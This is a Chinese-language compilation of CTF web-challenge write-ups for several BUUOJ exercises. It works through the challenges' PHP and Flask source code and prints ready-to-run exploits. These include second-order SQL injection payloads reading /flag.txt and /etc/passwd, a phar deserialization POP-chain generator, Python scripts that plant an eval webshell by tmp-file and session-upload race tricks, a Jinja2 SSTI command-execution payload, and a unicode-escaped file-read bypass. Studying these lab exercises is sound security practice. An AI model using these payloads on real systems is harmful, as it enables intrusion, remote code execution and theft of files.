btn-sub btn-white' type ="submit" > 查询订单</button > </p > </form > <?php global $msg ; echo '<h2 class="mb">' .$msg .'</h2>' ;?> </div > </div > </div > </div > <div id ="f" > <div class ="container" > <div class ="row" > <p style ="margin:35px 0;" > <br > </p > <h2 class ="mb" > 订单管理</h2 > <a href ="./index.php" > <button class ='btn btn-lg btn-register btn-sub btn-white' > 返回</button > </a > <a href ="./change.php" > <button class ="btn btn-lg btn-register btn-white" > 我要修改收货地址</button > </a > <a href ="./delete.php" > <button class ="btn btn-lg btn-register btn-white" > 我不想要了</button > </a > </div > </div > </div > <script src ="assets/js/jquery.min.js" > </script > <script src ="assets/js/bootstrap.min.js" > </script > <script src ="assets/js/retina-1.1.0.js" > </script > <script src ="assets/js/jquery.unveilEffects.js" > </script > </body > </html >
change.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["address" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $address = addslashes ($_POST ["address" ]); $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $sql = "update `user` set `address`='" .$address ."', `old_address`='" .$row ['address' ]."' where `user_id`=" .$row ['user_id' ]; $result = $db ->query ($sql ); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <title > 修改收货地址</title > <base href ="./" > <link href ="assets/css/bootstrap.css" rel ="stylesheet" > <link href ="assets/css/custom-animations.css" rel ="stylesheet" > <link href ="assets/css/style.css" rel ="stylesheet" > </head > <body > <div id ="h" > <div class ="container" > <div class ="row" > <div class ="col-md-8 col-md-offset-2 centered" > <p style ="margin:35px 0;" > <br > </p > <h1 > 修改收货地址</h1 > <form method ="post" > <p > <h3 > 姓名:</h3 > <input type ="text" class ="subscribe-input" name ="user_name" > <h3 > 电话:</h3 > <input type ="text" class ="subscribe-input" name ="phone" > <h3 > 地址:</h3 > <input type ="text" class ="subscribe-input" name ="address" > </p > <p > <button class ='btn btn-lg btn-sub btn-white' type ="submit" > 修改订单</button > </p > </form > <?php global $msg ; echo '<h2 class="mb">' .$msg .'</h2>' ;?> </div > </div > </div > </div > <div id ="f" > <div class ="container" > <div class ="row" > <p style ="margin:35px 0;" > <br > </p > <h2 class ="mb" > 订单管理</h2 > <a href ="./index.php" > <button class ='btn btn-lg btn-register btn-sub btn-white' > 返回</button > </a > <a href ="./search.php" > <button class ="btn btn-lg btn-register btn-white" > 我要查订单</button > </a > <a href ="./delete.php" > <button class ="btn btn-lg btn-register btn-white" > 我不想要了</button > </a > </div > </div > </div > <script src ="assets/js/jquery.min.js" > </script > <script src ="assets/js/bootstrap.min.js" > </script > <script src ="assets/js/retina-1.1.0.js" > </script > <script src ="assets/js/jquery.unveilEffects.js" > </script > </body > </html >
delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 <?php require_once "config.php" ;if (!empty ($_POST ["user_name" ]) && !empty ($_POST ["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST ["user_name" ]; $phone = $_POST ["phone" ]; if (preg_match ($pattern ,$user_name ) || preg_match ($pattern ,$phone )){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name} ' and `phone`='{$phone} '" ; $fetch = $db ->query ($sql ); } if (isset ($fetch ) && $fetch ->num_rows>0 ){ $row = $fetch ->fetch_assoc (); $result = $db ->query ('delete from `user` where `user_id`=' . $row ["user_id" ]); if (!$result ) { echo 'error' ; print_r ($db ->error); exit ; } $msg = "订单删除成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <title > 删除订单</title > <base href ="./" > <meta charset ="utf-8" /> <link href ="assets/css/bootstrap.css" rel ="stylesheet" > <link href ="assets/css/custom-animations.css" rel ="stylesheet" > <link href ="assets/css/style.css" rel ="stylesheet" > </head > <body > <div id ="h" > <div class ="container" > <div class ="row" > <div class ="col-md-8 col-md-offset-2 centered" > <p style ="margin:35px 0;" > <br > </p > <h1 > 删除订单</h1 > <form method ="post" > <p > <h3 > 姓名:</h3 > <input type ="text" class ="subscribe-input" name ="user_name" > <h3 > 电话:</h3 > <input type ="text" class ="subscribe-input" name ="phone" > </p > <p > <button class ='btn btn-lg btn-sub btn-white' type ="submit" > 删除订单</button > </p > </form > <?php global $msg ; echo '<h2 class="mb" style="color:#ffffff;">' .$msg .'</h2>' ;?> </div > </div > </div > </div > <div id ="f" > <div class ="container" > <div class ="row" > <h2 class ="mb" > 订单管理</h2 > <a href ="./index.php" > <button class ='btn btn-lg btn-register btn-sub btn-white' > 返回</button > </a > <a href ="./search.php" > <button class ="btn btn-lg btn-register btn-white" > 我要查订单</button > </a > <a href ="./change.php" > <button class ="btn btn-lg btn-register btn-white" > 我要修改收货地址</button > </a > </div > </div > </div > <script src ="assets/js/jquery.min.js" > </script > <script src ="assets/js/bootstrap.min.js" > </script > <script src ="assets/js/retina-1.1.0.js" > </script > <script src ="assets/js/jquery.unveilEffects.js" > </script > </body > </html >
这几个文件源码都使用了关键词过滤,基本没有注入方法。然而在change.php中,只对phone和user_name进行了过滤,而对address只是使用addslashes()函数,可以注入 观察可以发现数据写入采用预编译无法利用;数据修改时user_name和phone字段进行了过滤,基本妹有利用价值,而address字段妹有进行过滤,但是进行了转义无法直接注入。
对change.php审计可以注意到会直接使用旧的address字段,显然可以在二次注入 先在注册时将构造的语句存入address字段,接着对对应账户修改时即可触发注入
方法一 注意sql语句,可以使用报错注入
1 $sql = "update `user` set `address`='" .$address."', `old_address`='" .$row['address']."' where `user_id`=" .$row['user_id']
使用updataxml报错注入,updataxml函数对字符串长度有限制,所以分段进行读取
1 1 ' where user_id=updatexml(1 ,concat(0 x7e,(select substr(load_file('/flag.txt'),1 ,30 )),0 x7e),1 )#
由于change执行sql语句中有错误就会exit,所以说我们执行了一个错误语句后,要重新换一个用户继续注入,不然数据不会刷新
1 1 ' where user_id=updatexml(1 ,concat(0 x7e,(select substr(load_file('/flag.txt'),29 ,60 )),0 x7e),1 )#
方法二 1 $sql = "update `user` set `address`='" .$address."', `old_address`='" .$row['address']."' where `user_id`=" .$row['user_id']
payload test
1 1 ',`address`=database()#
爆库
1 ',`address`=(select(group_concat(schema_name ))from(information_schema.schemata))#
爆表
1 address=',`address`=(select (group_concat(table_name))from (information_schema.tables)where (table_schema='ctftraining' ))#
爆字段
1 ',`address`=(select (group_concat(column_name))from (information_schema.columns)where (table_name='FLAG_TABLE' ))#
然后结果读这个 FLAG_COLUMN字段发现其值为空 爆值
1 ',`address`=(select(group_concat(`FLAG_COLUMN`))from(`ctftraining`.`FLAG_TABLE`))#
发现flag在/flag.txt payload
1 ',`address`=(select(load_file("/flag.txt" )))#
[SWPUCTF 2018]SimplePHP 打开题目,可以发现存在任意文件读取漏洞 通过输入file参数,把源码下载下来
file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php header ("content-type:text/html;charset=utf-8" ); include 'function.php' ; include 'class.php' ; ini_set ('open_basedir' ,'/var/www/html/' ); $file = $_GET ["file" ] ? $_GET ['file' ] : "" ; if (empty ($file )) { echo "<h2>There is no file to show!<h2/>" ; } $show = new Show (); if (file_exists ($file )) { $show ->source = $file ; $show ->_show (); } else if (!empty ($file )){ die ('file doesn\'t exists.' ); } ?>
upload_file.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php include 'function.php' ; upload_file (); ?> <html > <head > <meta charest ="utf-8" > <title > 文件上传</title > </head > <body > <div align = "center" > <h1 > 前端写得很low,请各位师傅见谅!</h1 > </div > <style > p { margin :0 auto} </style > <div > <form action ="upload_file.php" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > </div > </script > </body > </html >
function.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php include "base.php" ; header ("Content-type: text/html;charset=utf-8" ); error_reporting (0 ); function upload_file_do ( ) { global $_FILES ; $filename = md5 ($_FILES ["file" ]["name" ].$_SERVER ["REMOTE_ADDR" ]).".jpg" ; if (file_exists ("upload/" . $filename )) { unlink ($filename ); } move_uploaded_file ($_FILES ["file" ]["tmp_name" ],"upload/" . $filename ); echo '<script type="text/javascript">alert("上传成功!");</script>' ; } function upload_file ( ) { global $_FILES ; if (upload_file_check ()) { upload_file_do (); } } function upload_file_check ( ) { global $_FILES ; $allowed_types = array ("gif" ,"jpeg" ,"jpg" ,"png" ); $temp = explode ("." ,$_FILES ["file" ]["name" ]); $extension = end ($temp ); if (empty ($extension )) { } else { if (in_array ($extension ,$allowed_types )) { return true ; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>' ; return false ; } } } ?>
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <?php class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } }class Show { public $source ; public $str ; public function __construct ($file ) { $this ->source = $file ; echo $this ->source; } public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } public function __set ($key ,$value ) { $this ->$key = $value ; } public function _show ( ) { if (preg_match ('/http|https|file:|gopher|dict|\.\.|f1ag/i' ,$this ->source)) { die ('hacker!' ); } else { highlight_file ($this ->source); } } public function __wakeup ( ) { if (preg_match ("/http|https|file:|gopher|dict|\.\./i" , $this ->source)) { echo "hacker~" ; $this ->source = "index.php" ; } } }class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } }?>
base.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php session_start (); ?> <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <title > web3</title > <link rel ="stylesheet" href ="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css" > <script src ="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js" > </script > <script src ="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js" > </script > </head > <body > <nav class ="navbar navbar-default" role ="navigation" > <div class ="container-fluid" > <div class ="navbar-header" > <a class ="navbar-brand" href ="index.php" > 首页</a > </div > <ul class ="nav navbar-nav navbra-toggle" > <li class ="active" > <a href ="file.php?file=" > 查看文件</a > </li > <li > <a href ="upload_file.php" > 上传文件</a > </li > </ul > <ul class ="nav navbar-nav navbar-right" > <li > <a href ="index.php" > <span class ="glyphicon glyphicon-user" > </span > <?php echo $_SERVER ['REMOTE_ADDR' ];?> </a > </li > </ul > </div > </nav > </body > </html >
通过base.php,可以发现flag存放在f1ag.php中,但是无法读取 那么这道题目的任务就是读取f1ag.php中的内容 在读源码的时候,发现在class.php中存在file_get_contents(),那么就是通过构造pop链,调用file_get_contents(),读取f1ag.php中的内容 在class.php中可以看到有一个提示
1 2 3 4 5 public function __construct($file ) { $this ->source = $file ; //$this ->source = phar://phar.jpg echo $this ->source ; }
这个可以给我们一个做题思路就是构造phar反序列化 入口函数是在file.php中
1 2 3 4 5 6 7 $show = new Show(); if (file_exists($ file )) { $ show->source = $ file ; $ show->_show(); } else if (!empty($ file )){ die('file doesn\'t exists.' ); }
发现这里是有file_exists这个函数,这个表中的函数可以触发phar反序列化 找到入口函数,下一步构造pop链条 漏洞的利用点在class.php
1 2 3 4 5 6 public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; }
但是这里仅仅是返回了f1ag.php中的值,但没有将其打印出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class C1e4r { public $test ; public $str ; public function __construct ($name ) { $this ->str = $name ; } public function __destruct ( ) { $this ->test = $this ->str; echo $this ->test; } }
那么思路就很明确了,通过new Cle4r($name),将值传给str,然后自动触发__destruct(),打印test。
下一步思考name应该传什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array (); } public function __get ($key ) { return $this ->get ($key ); } public function get ($key ) { if (isset ($this ->params[$key ])) { $value = $this ->params[$key ]; } else { $value = "index.php" ; } return $this ->file_get ($value ); } public function file_get ($value ) { $text = base64_encode (file_get_contents ($value )); return $text ; } }
从Test类中我们可以发现,__get($key)=>get($key)=>file_get($value)这样一条利用链,$key的值,是触发__get的时候传入的,$value的值是通过params($key)得到的,所以不妨令params=array(“source”=>“f1ag.php”),然后我们传入$key=”1”,即可 这里的$key需要是source __get()是反序列化中的魔术方法,当访问类中的不可访问的属性或者是不存在的属性回自动触发__get()
下一步思考要怎么出发到get
1 2 3 4 5 6 7 8 9 10 public function __construct($file ) { $this ->source = $file ; //$this ->source = phar://phar.jpg echo $this ->source ; } public function __toString () { $content = $this ->str['str' ]->source ; return $content ; }
令str[‘str’]=new Test(),那么在toString()就是new Test()->source,而source不是Test中的属性,所以就可以触发到get
上面的key之所以为source,是因为这里的new Test()->source调用的就是source不存在属性,这个source被当作参数传了过去
__toString :反序列化中的魔术方法,当类被当作字符串输出的时候会自动调用toString方法
pop链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class C1e4r { public $test ; public $str ; }class Show { public $source ; public $str ; }class Test { public $file ; public $params ; public function __construct ( ) { $this ->params = array ('source' =>'/var/www/html/f1ag.php' ); } }$c = new C1e4r ();$s =new Show ();$t =new Test ();$s ->source=$s ;$s ->str['str' ]=$t ;$c ->str=$s ;echo (serialize ($c ));$phar = new Phar ("exp.phar" ); $phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ? >' ); $phar ->setMetadata ($c ); $phar ->addFromString ("exp.txt" , "test" ); $phar ->stopBuffering ();?>
phar反序列化 我们一般利用反序列化漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越难了,但是在Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar://伪协议读取phar文件时,会反序列化meta-data储存的信息。
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
得到生成的phar,就要进行文件上传
通过阅读function.php,知道必须上传“gif,jpeg,jpg,png”结尾的文件,上传的文件被存放到了upload目录下 将生成的exp.phar,修改为exp.gif进行上传 然后访问upload找到我们上传文件的文件名 进行访问即可
[NPUCTF2020]ezinclude 打开网页,查看源代码,发现注释提示
1 md5 ($secret .$name ) ===$pass
get输入
变化name的值,会发现cookies的hash值在不断的对应变化,说明hash值和name的取值有关,但又不完全是name直接的MD5取值,所以根据提示md5($secret.$name)===$pass,我们的hash值很有可能是MD5(secret.$name),如果参数pass传入cookies里面的hash值,可能就会成功
输入url
1 ?name =2 &pass =616 bcf60c47829c8e770b19fd45336d9
响应为
1 2 3 4 5 6 7 <script language ="javascript" type ="text/javascript" > window .location .href ="flflflflag.php" ; </script > <html > </html >
尝试访问flflflflag.php,每次都被重定向,要么禁用js,要么抓包 flflflflag.php
1 2 3 4 5 6 7 8 9 10 11 12 <html > <head > <script language ="javascript" type ="text/javascript" > window .location .href ="404.html" ; </script > <title > this_is_not_fl4g_and_出题人_wants_girlfriend</title > </head > <> <body > include($_GET["file"])</body > </html >
给了提示,那么应该就是文件包含了 先看看flflflflag.php源码 payload
1 ?file=php:// filter/convert.base64-encode/ resource=flflflflag.php
flflflflag.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <html > <head > <script language ="javascript" type ="text/javascript" > window .location .href ="404.html" ; </script > <title > this_is_not_fl4g_and_出题人_wants_girlfriend</title > </head > <> <body > <?php $file =$_GET ['file' ];if (preg_match ('/data|input|zip/is' ,$file )){ die ('nonono' ); } @include ($file ); echo 'include($_GET["file"])' ;?> </body > </html >
用dirsearch扫描 扫描出一个dir.php,查看源码
1 2 3 <?php var_dump (scandir ('/tmp' ));?>
dir.php能打印临时文件tmp中的文件名,因此我们要想办法把文件存到tmp文件夹中
方法一:利用php7 segment fault特性(CVE-2018-14884) php代码中使用php://filter的strip_tags过滤器,可以让php执行的时候直接出线Segment Fault,这样php的垃圾回收机制就不会在继续执行,导致POST的文件会保存在系统的缓存目录下不会被清除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃推出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
该方法仅适用于一下php7版本,php5并不存在该崩溃
利用条件:
php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
可以获取文件名
源代码将GET参数进行文件包含
可以看到靶机的php版本符合利用条件 可以利用url
1 /flflflflag.php?file=php:/ /filter/ string.strip_tags/resource=/ etc/passwd
利用上面的url,编写python脚本
1 2 3 4 5 6 import requests from io import BytesIO #BytesIO实现了在内存中读写bytes payload = " <?php eval ($_POST [cmd]);?> " data={'file': BytesIO(payload.encode())} url="http://b5b05d7f-1983-487a-acc8-459d6c6d711d.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" r=requests.post(url=url,files=data,allow_redirects=False)
运行脚本后访问dir.php,得到tmp目录下我们上传的文件路径:/tmp/phpQ54QOd 发送请求 在phpinfo()中发现了flag,且system被禁用
方法二:利用session.upload_progress进行session文件包含 原理:利用session.upload_progress上传一个临时文件,该文件里面有我们上传的恶意代码,然后包含它,从而执行里面的代码,因为该文件内容清空很快,所以需要不停的上传和包含,在清空之前包含该文件。
session中一部分数据(session.upload_progress.name)是用户自己可以控制的。那么我们只要上传文件的时候,在Cookie中设置PHPSESSID=123456(默认情况下session.use_strict_mode=0用户可以自定义Session ID),同时POST一个恶意的字段PHP_SESSION_UPLOAD_PROGRESS,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义),只要上传包里带上这个键,PHP就会自动启用Session,同时,我们在Cookie中设置了PHPSESSID=123456,所以Session文件将会自动创建。
因为session.upload_progress.cleanup = on这个默认选项会有限制,当文件上传结束后,php将会立即清空对应session文件中的内容,这就导致我们在包含该session的时候相当于在包含一个空文件,没有包含我们传入的恶意代码。不过,我们只需要条件竞争,赶在文件被清除前利用即可。 编写脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import ioimport sysimport requestsimport threading host = 'http://b5b05d7f-1983-487a-acc8-459d6c6d711d.node5.buuoj.cn:81/flflflflag.php' sessid = 'feng' def POST (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) session.post( host, data={"PHP_SESSION_UPLOAD_PROGRESS" :"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>" }, files={"file" :('a.txt' , f)}, cookies={'PHPSESSID' :sessid} )def READ (session ): while True : response = session.get(f'{host} ?file=/tmp/sess_{sessid} ' ) if 'flag{' not in response.text: print ('[+++]retry' ) else : print (response.text) sys.exit(0 )with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
在运行停止后,发送请求 同样在phpinfo中获得flag
或者可以改动一下,用如下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import ioimport reimport sysimport requestsimport threading host = 'http://003ae9af-2700-4283-99e8-da47b33de836.node4.buuoj.cn:81/flflflflag.php' sessid = 'yym68686' def POST (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) session.post( host, data={"PHP_SESSION_UPLOAD_PROGRESS" :"<?php phpinfo();?>" }, files={"file" :('a.txt' , f)}, cookies={'PHPSESSID' :sessid} )def READ (session ): while True : response = session.get(f'{host} ?file=/tmp/sess_{sessid} ' ) if 'flag{' not in response.text: print ('\rWaiting...' , end="" ) else : print ("\r" + re.search(r'flag{(.*?)}' , response.text).group(0 )) sys.exit(0 )with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
[RootersCTF2019]I_<3_Flask 打开题目,从题目名称以及主页面可知题目是由Flask搭建 第一思路应该是寻找Flask路由 ,dirsearch扫了一下发现没有源码泄露,常见的一些隐藏提示点都看了一下,发现没有什么提示 在这里就需要考虑一下参数爆破了,使用工具Arjun进行参数爆破
1 arjun -u http://2 cdee52a-aa92-413 f-b3e5-2 c54654dfd8e.node5.buuoj.cn:81 / -c 100 -d 5
这里-d 5的作用是请求间隔,BUUOJ设置了防D,如果不加-d 5可能就会429然后导致爆破不出来,最后爆破出了参数name 在url后面加上?name=1测试一下 简单测试一下是否存在ssti,构造?name=4 可以看到4被直接执行了,判断一下发现是jinja2的模板,fuzz一下发现没有什么过滤,直接上RCE的payload
1 ?name= {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eva' +'l' in b.keys() %} {{ b['eva' +'l' ]('__impor' +'t__' +'("o' +'s")' +'.pope' +'n' +'("cat flag.txt").read()' ) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
题目做完之后反过来再看看路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flask, render_template_string, request app = Flask(__name__) app.secret_key = "fuk9dfuk5680fukbddbee2fuk" @app.route('/' , methods=['GET' ] ) def index (): name = 'Flask' + ' & ' + request.args.get("name" , default="Flask" ) //可以看到下面这行代码直接拼接了name参数的值,从而导致了ssti漏洞 template = """ {% extends "layout.html" %} {% block content %} <div class="content-section"> I ♥ """ + name + """ </div> {% endblock %}""" return render_template_string(template) if __name__ == '__main__' : app.run(debug=False )
[HarekazeCTF2019]encode_and_encode 打开靶机,点击第三个超链接,得到源码 query.php源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php error_reporting (0 );if (isset ($_GET ['source' ])) { show_source (__FILE__ ); exit (); }function is_valid ($str ) { $banword = [ '\.\.' , '(php|file|glob|data|tp|zip|zlib|phar):' , 'flag' ]; $regexp = '/' . implode ('|' , $banword ) . '/i' ; if (preg_match ($regexp , $str )) { return false ; } return true ; }$body = file_get_contents ('php://input' );$json = json_decode ($body , true );if (is_valid ($body ) && isset ($json ) && isset ($json ['page' ])) { $page = $json ['page' ]; $content = file_get_contents ($page ); if (!$content || !is_valid ($content )) { $content = "<p>not found</p>\n" ; } } else { $content = '<p>invalid request</p>' ; }$content = preg_replace ('/HarekazeCTF\{.+\}/i' , 'HarekazeCTF{<censored>}' , $content );echo json_encode (['content' => $content ]);
这里比较重要的代码测试一下
1 2 3 4 5 <?php $a = file_get_contents ("php://input" );echo "a = " .$a ;$b = json_decode ($a );print_r ($b );
回到源码,意思很明白,我们要使用post方式传入格式为{“page”:”xxxx”},然后page的值传到了$content里面,然后需要绕过
1 2 3 if (! $content || ! is_valid($content )) { $content = "<p>not found</p>\n " ; }
题目的关键地方是json_decode会将\uxxxx unicode编码进行转义,这样就可以绕过is_valid的检测 根据上面的测试代码再测试一下 最终的payload我们可以构造一个伪协议
1 {"page":"\u0070 \u0068 \u0070 \u003a \u002f \u002f \u0066 \u0069 \u006c \u0074 \u0065 \u0072 \u002f \u0063 \u006f \u006e \u0076 \u0065 \u0072 \u0074 \u002e \u0062 \u0061 \u0073 \u0065 \u0036 \u0034 \u002d \u0065 \u006e \u0063 \u006f \u0064 \u0065 \u002f \u0072 \u0065 \u0073 \u006f \u0075 \u0072 \u0063 \u0065 \u003d \u002f \u0066 \u006c \u0061 \u0067 "}
进入环境,点击发帖,发帖后发现login页面,发现提示了我们账号:zhangwei,密码:zhangwei(后三位没告诉),直接爆破,得到后三位为666 这靶机是真的慢啊!!!!!每次互动都要30s 登录后发帖,点击详情,发现可以留言,这里可能有xss(这种情况ctf很少)或者二次注入(因为页面有我们发帖的信息,说明我们发帖的内容从数据库里面拿出来了,所以可能有二次注入) 观察到comment.php?id=1,感觉参数id可以进行SQL注入,没用 这时候dirsearch扫一下发现有git泄露 用githacker拔下来
1 githacker --url http://cc08adf7-9 f9d-46 e7-9378 -b43f7dcd2fce.node5.buuoj.cn:81 / --output ./back-future
发现有write_do.php文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php include "mysql.php" ;session_start ();if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); }if (isset ($_GET ['do' ])){switch ($_GET ['do' ]) {case 'write' : break ;case 'comment' : break ;default : header ("Location: ./index.php" ); } }else { header ("Location: ./index.php" ); }?>
但似乎并不完全呢? git log显示只有一个文件内容 这里使用git log –reflog 这样就显示的多了 我们需要的是commit e5b2a2443c2b6d395d06960123142bc91123148c
1 git reset --hard e5 b2 a2443 c 2 b6 d395 d06960123142 bc91123148 c
这时候再打开write_do.php发现内容变化了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php include "mysql.php" ;session_start ();if ($_SESSION ['login' ] != 'yes' ){ header ("Location: ./login.php" ); die (); }if (isset ($_GET ['do' ])){switch ($_GET ['do' ]) {case 'write' : $category = addslashes ($_POST ['category' ]); $title = addslashes ($_POST ['title' ]); $content = addslashes ($_POST ['content' ]); $sql = "insert into board set category = '$category ', title = '$title ', content = '$content '" ; $result = mysql_query ($sql ); header ("Location: ./index.php" ); break ;case 'comment' : $bo_id = addslashes ($_POST ['bo_id' ]); $sql = "select category from board where id='$bo_id '" ; $result = mysql_query ($sql ); $num = mysql_num_rows ($result ); if ($num >0 ){ $category = mysql_fetch_array ($result )['category' ]; $content = addslashes ($_POST ['content' ]); $sql = "insert into comment set category = '$category ', content = '$content ', bo_id = '$bo_id '" ; $result = mysql_query ($sql ); } header ("Location: ./comment.php?id=$bo_id " ); break ;default : header ("Location: ./index.php" ); } }else { header ("Location: ./index.php" ); }?>
这才是完整的代码 分析一下 关键代码
1 2 3 4 5 6 7 $category = addslashes($_POST ['category' ]); $sql = "insert into board set category = '$category ', title = '$title ', content = '$content '" ; $result = mysql_query($sql );$category = mysql_fetch_array($result )['category' ];
先将$category的值addslashes了,放入数据库(这时addslashes加的反斜杠被删除了),但是又将它从数据库中拿出来了,所以存在二次注入 而且
1 2 3 4 $sql = "insert into comment set category content bo_id
这个语句是分行的,所以#,–+不能用了,要使用/**/多行注释 构造语句 在发帖页面写入
之后点开再次留言,内容为*/# 起到闭合注释的作用 我们可以用sql读文件
1 ',content =(load_file("/etc/passwd" )),
继续重复上面的步骤 得到 发现除了root用户之外,只有www这个用户在/home/www目录下用了/bin/bash 查看/home/www/.bash_history
.bash_history:保存了当前用户使用过的历史命令,方便查找
1 ',content =(load_file("/home/www/.bash_history" )),
得到 意思是:先进入/tmp目录,解压了html.zip文件(得到/tmp/html),之后将html.zip删除了,拷贝了一份html给了/var/www目录(得到/var/www/html),之后将/var/www/html下的.DS_Store文件删除,但是/tmp/html下的.DS_Store文件没有删除,查看一下
1 ',content =(load_file("/tmp/html/.DS_Store" )),
